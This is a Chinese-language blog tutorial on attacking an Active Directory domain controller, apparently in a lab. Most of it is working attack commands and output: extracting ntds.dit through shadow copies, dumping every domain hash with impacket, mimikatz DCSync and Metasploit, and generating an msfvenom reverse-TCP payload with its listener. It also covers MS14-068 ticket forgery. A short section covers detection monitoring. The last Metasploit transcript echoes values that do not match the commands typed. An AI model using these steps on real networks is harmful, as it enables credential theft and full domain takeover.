Lluna's Pure land.

What is life like when singing to wine?

0%

内网渗透测试-域控制器安全

在通常情况下、即使拥有管理员权限,也无法读取域控制器中的C:\Windwos\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务可以获得文件的副本。

0x01.(域控中)卷影拷贝服务提取ntds.dit

1
在活动目录中,所有的数据都保存在 ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%ntds\ntds.dit。ntds.dit 中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。本节将介绍如何从系统中导出ntds.dit,以及如何读取ntds.dit中的信息。在一般情况下,系统运维人员会利用卷影拷贝服务(Volume Shadow Copy Service, VSS)实现这些操作。VSS本质上属快照(Snapshot)技术的一种,主要用于备份和恢复(即使目标文件处于锁定状态)。

1.使用ntdsutil.exe提取ntds.dit

1
ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用 ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上、可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统有 Windows Server 2003、 Windows Server 2008、 Windows Server 2012。

首先创建快照

1
ntdsutil snapshot "activate instance ntds" create quit quit

然后加载快照

1
ntdsutil snapshot "mount {5b7236ab-c45c-43ee-b615-a7cc2149ea5c}" quit quit

复制到c盘

1
copy C:\$SNAP_202109041806_VOLUMEC$\Windows\NTDS\ntds.dit C:\test\ntds.dit

卸载快照并删除

1
ntdsutil snapshot "unmount {5b7236ab-c45c-43ee-b615-a7cc2149ea5c}" "delete {5b7236ab-c45c-43ee-b615-a7cc2149ea5c}" quit quit

列出所有快照

1
ntdsutil snapshot "List All" quit quit

2.使用vssadmin提取ntds.dit

1
vssadminn是 Windows Server 2008 & Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统 Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。vssadminn 的操作流程和ntdsutil类似

首先创建一个c盘的卷影拷贝

1
vssadmin create shadow /for=c:

复制出来

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit c:\test\ntds.dit

删除快照

1
vssadmin delete shadows /for=c: /quiet

列出所有卷影副本

1
vssadmin List Shadows

3.使用vssown.vbs脚本提取ntds.dit

1
vssown.vbs脚本的功能和vssadmin类似。vssown.vbs 脚本是由Tim Tomes开发的,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。可以在命令行环境中执行该脚本。

启动卷影拷贝服务

1
cscript vssown.vbs /start

创建一个c盘的卷影拷贝

1
cscript vssown.vbs /create c

列出卷影拷贝

1
cscript vssown.vbs /list

复制

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\test\ntds.dit

删除卷影拷贝

1
cscript vssown.vbs /delete {17EDE50A-A1B1-48E5-B206-9FA13FED03F0}

4.使用ntdsutil的iFM创建卷影拷贝

1
除了按照前面介绍的方法通过执行命令来提取ntds dit,也可以使用创建一个 IFM的方式获取nsdi。在使用ntdsutil创建IFM时,需要进行生成快照、加载、将ntds. dit和计算机的SAM文件复制到目标文件夹中等操作。这些操作也可以通过PowerShell或WMI远程执行

域控管理员输入如下命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ntdsutil "ac i ntds" "ifm" "create full c:/demo" quit quit

C:\>ntdsutil "ac i ntds" "ifm" "create full c:/demo" quit quit
ntdsutil: ac i ntds
活动实例设置为“ntds”。
ntdsutil: ifm
ifm: create full c:/demo
正在创建快照...
成功生成快照集 {65b13a1d-a952-4257-8255-46531847bb28}。
快照 {b7140919-a826-455f-ad0d-fb548281da5c} 已作为 C:\$SNAP_202109041835_VOLUMEC$\ 装载
已装载快照 {b7140919-a826-455f-ad0d-fb548281da5c}。
正在启动碎片整理模式...
源数据库: C:\$SNAP_202109041835_VOLUMEC$\Windows\NTDS\ntds.dit
目标数据库: c:\demo\Active Directory\ntds.dit

Defragmentation Status (omplete)

0 10 20 30 40 50 60 70 80 90 100
|----|----|----|----|----|----|----|----|----|----|
...................................................

正在复制注册表文件...
正在复制 c:\demo\registry\SYSTEM
正在复制 c:\demo\registry\SECURITY
快照 {b7140919-a826-455f-ad0d-fb548281da5c} 已卸载。
在 c:\demo 中成功创建 IFM 媒体。
ifm: quit
ntdsutil: quit

C:\>

在Active Directory目录下可以看到ntds.dit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\demo\Active Directory>dir
驱动器 C 中的卷没有标签。
卷的序列号是 FC34-99CE

C:\demo\Active Directory 的目录

2021/09/04 18:35 <DIR> .
2021/09/04 18:35 <DIR> ..
2021/09/04 18:35 25,165,824 ntds.dit
2021/09/04 18:35 16,384 ntds.jfm
2 个文件 25,182,208 字节
2 个目录 52,228,857,856 可用字节

C:\demo\Active Directory>

SYSTEM与SECURITY在registry目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\demo\registry>dir
驱动器 C 中的卷没有标签。
卷的序列号是 FC34-99CE

C:\demo\registry 的目录

2021/09/04 18:35 <DIR> .
2021/09/04 18:35 <DIR> ..
2021/07/22 14:23 65,536 SECURITY
2021/07/22 14:23 18,087,936 SYSTEM
2 个文件 18,153,472 字节
2 个目录 52,219,453,440 可用字节

C:\demo\registry>

删除

1
rmdir /s /q demo

nishang中的copy-vss.ps1脚本

1
2
3
4
5
6
PS C:\test> Import-Module .\Copy-VSS.ps1
PS C:\test> Copy-VSS
已复制 1 个文件。
已复制 1 个文件。
已复制 1 个文件。
PS C:\test>

5.使用diskshadow导出ntds.dit

首先进入diskshadow

1
C:\>diskshadow

设置卷影拷贝

1
set context persistent nowriters

添加卷

1
add volume c: alias someAlias

创建快照

1
create

分配虚拟磁盘盘符

1
expose %someAlias% k:

复制ntds.dit

1
exec "C:\Windows\System32\cmd.exe" /c copy F:\Windows\NTDS\ntds.dit c:\test\ntds.dit

删除所有快照

1
delete shadows all 

列出系统中所有的卷影拷贝

1
list shadows all

重置

1
reset

退出

1
exit
1
导出ntds.dit后,可以将system, hive转储。因为system.hive中存放着ntds.dit的密钥,所以如果没有该密钥,将无法查看ntds.dit中的信息
1
reg save hklm\system c:\windows\temp\system.hive

6.监控卷影拷贝服务的使用情况

通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。

1
2
3
4
5
监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
监控System Event ID 7036(卷影拷贝服务进人运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件。
监控创建dkshndko.exe及相关子进程的事件。
监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要, 在Windows操作系统中不应该出现diskshadow.exe.如果发现,应立刻将其删除。
通过日志监控新出现的逻辑驱动器映射事件。

0x02.导出ntds.dit中的散列值

1
实验环境为kali,将导出的ntds.dit放入kali中进行解析

1.使用esedbexport恢复ntds.dit

01.导出ntds.dit

安装依赖

1
apt-get install autoconf automake autopoint libtool pkg-config -y

安装libesedb

1
2
3
4
./configure
make
make install
ldconfig

安装成功之后,/usr/local/bin目录下就可以看到esedbexport

1
2
3
┌──(root💀kali)-[/usr/local/bin]
└─# ls
chardetect esedbexport esedbinfo nokogiri pip pip2 pip2.7 pip3 pip3.9 ssr wheel

提取表信息

1
esedbexport -m tables ntds.dit

导出表信息,本实验只需要datatable和link_table

1
┌──(root💀kali)-[~/demo]└─# lsntds.dit  ntds.dit.export                                                                                                                                    ┌──(root💀kali)-[~/demo]└─# cd ntds.dit.export                                                                                                                                   ┌──(root💀kali)-[~/demo/ntds.dit.export]└─# ls -l 总用量 12772-rw-r--r-- 1 root root 12551192  9月  4 21:15 datatable.4-rw-r--r-- 1 root root      728  9月  4 21:15 hiddentable.6-rw-r--r-- 1 root root      263  9月  4 21:15 link_history_table.10-rw-r--r-- 1 root root     7612  9月  4 21:15 link_table.5-rw-r--r-- 1 root root      310  9月  4 21:15 MSysDefrag2.11-rw-r--r-- 1 root root     1342  9月  4 21:15 MSysLocales.3-rw-r--r-- 1 root root   102401  9月  4 21:15 MSysObjects.0-rw-r--r-- 1 root root   102401  9月  4 21:15 MSysObjectsShadow.1-rw-r--r-- 1 root root     1826  9月  4 21:15 MSysObjids.2-rw-r--r-- 1 root root       80  9月  4 21:15 quota_rebuild_progress_table.13-rw-r--r-- 1 root root      969  9月  4 21:15 quota_table.12-rw-r--r-- 1 root root       14  9月  4 21:15 sdpropcounttable.9-rw-r--r-- 1 root root      110  9月  4 21:15 sdproptable.7-rw-r--r-- 1 root root   265165  9月  4 21:15 sd_table.8

02.导出散列值

安装ntdsxtract

1
python2 setup.py build && python2 setup.py install

安装依赖包

1
pip2 install --upgrade pippip2 install --upgrade setuptoolspip2 install cryptohash -i https://pypi.tuna.tsinghua.edu.cn/simple/

将ntds.dit.export与SYSTEM一起放入到ntdsxtract-master中

1
┌──(root💀kali)-[~/Downloads/ntdsxtract-master]└─# lsbuild           dsdeletedobjects.py   dsgroups.py  dstimeline.py  framework  ntds             README.md          setup.pydscomputers.py  dsfileinformation.py  dskeytab.py  dsusers.py     LICENSE    ntds.dit.export  release_notes.txt  SYSTEM

导出域内所有用户名及散列值到all_user.txt中

1
dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt

ntds.dit包含域内所有信息,导出域内计算机信息及其他信息

1
dscomputers.py ntds.dit.export/datatable.4 computer_output --csvoutfile all_computers.csv

2.impacket工具包导出散列值

安装impacket

1
python3 setup.py install

导出ntds.dit中的所有散列值

1
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

z结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(root💀kali)-[~/demo]
└─# impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
Impacket v0.9.24.dev1 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0xb573c235e22349ac34c6b9fb85f04363
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: e7ce10bc36bf8798dca6330d1b6f5c9c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ae0597dc61a5c66b3a0600c60044c448:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:95785d2646d400e65856dda9b2098ef7:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b50c75c3bccc9a1e0ba374ca414e020b:::
WIN7DC1$:1119:aad3b435b51404eeaad3b435b51404ee:7cb84a0f8d0ea4090bc81c78d977b042:::
jiye.net\win7dc1:1120:aad3b435b51404eeaad3b435b51404ee:316c43afcf1cede6f5d8aa6c2ce1b7d5:::
WIN7DC2$:1121:aad3b435b51404eeaad3b435b51404ee:d29787a45cf23fc7eea9aba43db45573:::
jiye.net\win7dc2:1122:aad3b435b51404eeaad3b435b51404ee:316c43afcf1cede6f5d8aa6c2ce1b7d5:::
[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:cbf0b71442bd21aabc273f12a74291863ea7d08c01d8047a2c0f77ae7cde67cc
Administrator:aes128-cts-hmac-sha1-96:9f70a9c7a7cda474382258797785735c
Administrator:des-cbc-md5:fb2fd562effd3bf4
DC$:aes256-cts-hmac-sha1-96:75a78ee4a2a233b64f011ff53db48fa698f5c5a7c334d87f846ed9c62527bc7f
DC$:aes128-cts-hmac-sha1-96:95c0dcafebeed5bb96f9f047f1a87395
DC$:des-cbc-md5:64df192385765e7a
krbtgt:aes256-cts-hmac-sha1-96:80595e0a8851c759f9f6bafc90444d92e007ff6c42fdebfada30380fedf8d4e5
krbtgt:aes128-cts-hmac-sha1-96:eaf969259d80eb0c6b5b42e76853bdc3
krbtgt:des-cbc-md5:61febc5732805e40
WIN7DC1$:aes256-cts-hmac-sha1-96:05866346f711c19c29a4d51c00b1772e597ca767ac8b150ffa3121310f3059f5
WIN7DC1$:aes128-cts-hmac-sha1-96:761c738f3fd1093105eb278a6d2874ac
WIN7DC1$:des-cbc-md5:52d351c845e6fed5
jiye.net\win7dc1:aes256-cts-hmac-sha1-96:f9275ead3cc2a56166367723c508e91b65a6c8901a2acbe2e2a7655ac341dac2
jiye.net\win7dc1:aes128-cts-hmac-sha1-96:f7f8736469948de9f1ab3ef2fc25e00a
jiye.net\win7dc1:des-cbc-md5:da37203dbf4c02b9
WIN7DC2$:aes256-cts-hmac-sha1-96:8e4af88a03181301fa67c4e0ef99c63b8d89d74e5d487295e566a06ccc1e1bae
WIN7DC2$:aes128-cts-hmac-sha1-96:3ba25a6d28d57809f3f6a05269879786
WIN7DC2$:des-cbc-md5:1964a1514c73e39d
jiye.net\win7dc2:aes256-cts-hmac-sha1-96:f0bb35503c3d2d09d895153fcf39628d2b53476986e43a25a3b8a8a36dc5404a
jiye.net\win7dc2:aes128-cts-hmac-sha1-96:fda04eb8d4b5a7686908c56f492bf948
jiye.net\win7dc2:des-cbc-md5:981f852f29c876ea
[*] Cleaning up...

┌──(root💀kali)-[~/demo]

impacket还可以通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值

1
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:ae0597dc61a5c66b3a0600c60044c448 -just-dc jiye.net/Administrator@10.10.10.10

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
──(root💀kali)-[~/demo]
└─# impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:ae0597dc61a5c66b3a0600c60044c448 -just-dc jiye.net/Administrator@10.10.10.10
Impacket v0.9.24.dev1 - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ae0597dc61a5c66b3a0600c60044c448:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b50c75c3bccc9a1e0ba374ca414e020b:::
jiye.net\win7dc1:1120:aad3b435b51404eeaad3b435b51404ee:316c43afcf1cede6f5d8aa6c2ce1b7d5:::
jiye.net\win7dc2:1122:aad3b435b51404eeaad3b435b51404ee:316c43afcf1cede6f5d8aa6c2ce1b7d5:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:242fc96ac0093f6ad49c36cf0f62d617:::
WIN7DC1$:1119:aad3b435b51404eeaad3b435b51404ee:efc572c9a568335f411a5ce0c3bfd073:::
WIN7DC2$:1121:aad3b435b51404eeaad3b435b51404ee:d29787a45cf23fc7eea9aba43db45573:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:cbf0b71442bd21aabc273f12a74291863ea7d08c01d8047a2c0f77ae7cde67cc
Administrator:aes128-cts-hmac-sha1-96:9f70a9c7a7cda474382258797785735c
Administrator:des-cbc-md5:fb2fd562effd3bf4
krbtgt:aes256-cts-hmac-sha1-96:80595e0a8851c759f9f6bafc90444d92e007ff6c42fdebfada30380fedf8d4e5
krbtgt:aes128-cts-hmac-sha1-96:eaf969259d80eb0c6b5b42e76853bdc3
krbtgt:des-cbc-md5:61febc5732805e40
jiye.net\win7dc1:aes256-cts-hmac-sha1-96:f9275ead3cc2a56166367723c508e91b65a6c8901a2acbe2e2a7655ac341dac2
jiye.net\win7dc1:aes128-cts-hmac-sha1-96:f7f8736469948de9f1ab3ef2fc25e00a
jiye.net\win7dc1:des-cbc-md5:da37203dbf4c02b9
jiye.net\win7dc2:aes256-cts-hmac-sha1-96:f0bb35503c3d2d09d895153fcf39628d2b53476986e43a25a3b8a8a36dc5404a
jiye.net\win7dc2:aes128-cts-hmac-sha1-96:fda04eb8d4b5a7686908c56f492bf948
jiye.net\win7dc2:des-cbc-md5:981f852f29c876ea
DC$:aes256-cts-hmac-sha1-96:08470983168e2132c6af4a329fcc1ee554eee64c9bdb359e1a4e3153696701c2
DC$:aes128-cts-hmac-sha1-96:cb96a8244fba00d8f31ac7ab74a3ebe7
DC$:des-cbc-md5:25087a044ce631ba
WIN7DC1$:aes256-cts-hmac-sha1-96:6d873f6d8dec69c829aae8393ccb0b789d78772a484de920eaac9452b2d891b9
WIN7DC1$:aes128-cts-hmac-sha1-96:dd0308b5e2bf08f654c8a08e0adde90d
WIN7DC1$:des-cbc-md5:45baf4bcf8386d7c
WIN7DC2$:aes256-cts-hmac-sha1-96:8e4af88a03181301fa67c4e0ef99c63b8d89d74e5d487295e566a06ccc1e1bae
WIN7DC2$:aes128-cts-hmac-sha1-96:3ba25a6d28d57809f3f6a05269879786
WIN7DC2$:des-cbc-md5:1964a1514c73e39d
[*] Cleaning up...

┌──(root💀kali)-[~/demo]
└─#

3.windows下解析ntds.dit并导出域账号和域散列值

1
NTDSDumpEx.exe -d ntds.dit -s SYSTEM

0x03.使用dcsync获取域散列值

1.mimikatz中的dcsync功能(需要域管理员权限)

获取所有用户名即散列值

1
lsadump::dcsync /domain:jiye.net /all /csv

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mimikatz # lsadump::dcsync /domain:jiye.net /all /csv
[DC] 'jiye.net' will be the domain
[DC] 'DC.jiye.net' will be the DC server
[DC] Exporting domain 'jiye.net'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt b50c75c3bccc9a1e0ba374ca414e020b 514
1120 win7dc1 316c43afcf1cede6f5d8aa6c2ce1b7d5 66048
1121 WIN7DC2$ d29787a45cf23fc7eea9aba43db45573 4096
1122 win7dc2 316c43afcf1cede6f5d8aa6c2ce1b7d5 66048
500 Administrator ae0597dc61a5c66b3a0600c60044c448 66048
1119 WIN7DC1$ efc572c9a568335f411a5ce0c3bfd073 4096
1000 DC$ 242fc96ac0093f6ad49c36cf0f62d617 532480

mimikatz #

获取单个用户的散列值

1
lsadump::dcsync /domain:jiye.net /user:Administrator

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
mimikatz # lsadump::dcsync /domain:jiye.net /user:Administrator
[DC] 'jiye.net' will be the domain
[DC] 'DC.jiye.net' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN : Administrator

** SAM ACCOUNT **

SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration : 1601/1/1 8:00:00
Password last change : 2021/7/10 12:13:11
Object Security ID : S-1-5-21-3725759035-2690766561-1621034971-500
Object Relative ID : 500

Credentials:
Hash NTLM: ae0597dc61a5c66b3a0600c60044c448

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : be5d62e6cc92a91eeb4398c6901f1af9

* Primary:Kerberos-Newer-Keys *
Default Salt : WIN-KR84V9JAQCRAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : cbf0b71442bd21aabc273f12a74291863ea7d08c01d8047a2c0f77ae7cde67cc
aes128_hmac (4096) : 9f70a9c7a7cda474382258797785735c
des_cbc_md5 (4096) : fb2fd562effd3bf4

* Packages *
NTLM-Strong-NTOWF

* Primary:Kerberos *
Default Salt : WIN-KR84V9JAQCRAdministrator
Credentials
des_cbc_md5 : fb2fd562effd3bf4


mimikatz #

转储lsass.exe进程对散列值进行Dump

1
privilege::debuglsadump::lsa /inject

2.Invoke-DCSync.ps1脚本

1
Import-Module .\Invoke-DCSync.ps1Invoke-DCSync -PWDumpFormat

0x04.使用msf获取散列值

1.psexec_ntdsgrab模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
msf6 auxiliary(admin/smb/psexec_ntdsgrab) > options 

Module options (auxiliary/admin/smb/psexec_ntdsgrab):

Name Current Setting Required Description
---- --------------- -------- -----------
CREATE_NEW_VSC false no If true, attempts to create a volume shadow copy
RHOSTS 10.10.10.10 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<pa
th>'
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain jiye.net no The Windows domain to use for authentication
SMBPass 11 no The password for the specified username
SMBSHARE C$ yes The name of a writeable share on the server
SMBUser administrator no The username to authenticate as
VSCPATH no The path to the target Volume Shadow Copy
WINPATH WINDOWS yes The name of the Windows directory (examples: WINDOWS, WINNT)

msf6 auxiliary(admin/smb/psexec_ntdsgrab) >

2.meterpreter会话获取域账号和域散列值

生成payload

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.130 LPORT=6666 -f exe > s.exe

监听反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
msf6 exploit(multi/handler) > options 

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.10.130 yes The listen address (an interface may be specified)
LPORT 6666 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.10.130:6666
[*] Sending stage (175174 bytes) to 10.10.10.10
[*] Meterpreter session 9 opened (10.10.10.130:6666 -> 10.10.10.10:51782) at 2021-09-05 08:01:33 -0400

meterpreter >

使用domain_hashdump,但是这里并没有利用成功(提示需要64位payload)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msf6 post(windows/gather/credentials/domain_hashdump) > options 

Module options (post/windows/gather/credentials/domain_hashdump):

Name Current Setting Required Description
---- --------------- -------- -----------
CLEANUP true yes Automatically delete ntds backup created
RHOST localhost yes Target address range
SESSION 1 yes The session to run this module on.
TIMEOUT 60 yes Timeout for WMI command in seconds

msf6 post(windows/gather/credentials/domain_hashdump) > run

[*] Session has Admin privs
[*] Session is on a Domain Controller
[-] You are running 32-bit Meterpreter on a 64 bit system
[-] Try migrating to a 64-bit process and try again
[*] Post module execution completed
msf6 post(windows/gather/credentials/domain_hashdump) >

0x05.vshadow.exe和QuarksPwDump.exe导出域账号和散列值

0x06.Kerberos域用户提权漏洞分析

1.PyKEK工具包

查看补丁安装情况

1
wmic qfe get hotfixid

查看用户SID

1
2
whoami /user
wmic useraccount get name,sid

使用其中的MS14-068.exe生成高权限票据

-u@:用户名@域名。
-s: 用户SID。
-d:域控制器地址。
-p: 明文密码。
–rc4:在没有明文密码的情况下,通过NTLM Hash登录。

1
2
3
4
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p域成员密码

pytho脚本n案例:python ms14-068.py -u administrator@jiye.net -s S-1-5-21-3725759035-2690766561-1621034971-500 -d 10.10.10.10 -p 11
exe案例:ms14-068.exe -u win7dc1@jiye.net -s S-1-5-21-3725759035-2690766561-1621034971-1120 -d 10.10.10.10 -p passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
──(root💀kali)-[~/Downloads/pykek-master]
└─# python ms14-068.py -u win7dc1@jiye.net -s S-1-5-21-3725759035-2690766561-1621034971-1120 -d 10.10.10.10 -p passwd 1 ⨯
[+] Building AS-REQ for 10.10.10.10... Done!
[+] Sending AS-REQ to 10.10.10.10... Done!
[+] Receiving AS-REP from 10.10.10.10... Done!
[+] Parsing AS-REP from 10.10.10.10... Done!
[+] Building TGS-REQ for 10.10.10.10... Done!
[+] Sending TGS-REQ to 10.10.10.10... Done!
[+] Receiving TGS-REP from 10.10.10.10... Done!
[+] Parsing TGS-REP from 10.10.10.10... Done!
[+] Creating ccache file 'TGT_win7dc1@jiye.net.ccache'... Done!

┌──(root💀kali)-[~/Downloads/pykek-master]

导出票据到mimikatz目录下并清除票据

1
kerberos::purge

注入票据

1
kerberos::ptc "TGT_win7dc1@jiye.net.ccache"

列出目录

1
dir \\dc\c$

2.goldenPac.py

安装Kerberos客户端

1
apt-get install krb5-user -y

利用

1
python2 goldenPac.py jiye.net/Administrator:11@10.10.10.10

3.msf模块利用

生成票据

1
auxiliary/admin/kerberos/ms14_068_kerberos_checksum

msf不支持bin文件,所以转换票据

1
kerberos::clist ".......bin" /export

之后反弹meterpreter shell

1
load kiwi 票据

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 > use exploit/windows/local/current_user_psexec 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/current_user_psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/current_user_psexec) > set TECHNIQUE PSH
TECHNIQUE => PSH
msf6 exploit(windows/local/current_user_psexec) > set RHOSTS jiye.net
RHOSTS => win2008.hello.com
msf6 exploit(windows/local/current_user_psexec) > set lhost 10.10.10.130
lhost => 1.1.1.5
msf6 exploit(windows/local/current_user_psexec) > set session 1
session => 1
msf6 exploit(windows/local/current_user_psexec) > run
-------------纸短情长下次再见-------------